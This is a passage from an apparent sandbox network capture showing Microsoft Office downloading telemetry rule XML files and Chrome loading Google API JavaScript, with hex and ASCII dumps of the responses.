R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:24 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:24 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: a9097ed3-401e-0064-107c-3754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090724Z-164f84587bfdfkt7hC1DFW4fas000000022g000000007ssa x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:24 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:25 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: cf25fe23-201e-0000-80af-36a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090725Z-16547b76f7f2b5qzhC1DFWeag400000002ag000000004p1c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:25 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:25 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: bb2e9763-101e-0079-2c7d-375913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090725Z-164f84587bf7jb9dhC1DFWkay400000003qg000000008szg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:25 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:25 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:25 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 0269dba3-501e-0035-248e-37c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090725Z-16547b76f7fwggrphC1DFW2a8s00000002x000000000bqws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 09:07:25 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:25 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:25 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 4163e43d-001e-0049-7f9d-375bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090725Z-164f84587bfrrmqdhC1DFWvu6s00000002pg000000008ysm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:25 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49789	142.250.185.110	443	7248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:25 UTC	721	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 09:07:25 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sat, 16 Nov 2024 17:27:26 GMT Expires: Sun, 16 Nov 2025 17:27:26 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 56399 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-17 09:07:25 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-17 09:07:25 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-11-17 09:07:25 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-11-17 09:07:25 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-11-17 09:07:25 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-11-17 09:07:25 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-11-17 09:07:25 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-11-17 09:07:25 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-11-17 09:07:25 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-11-17 09:07:26 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 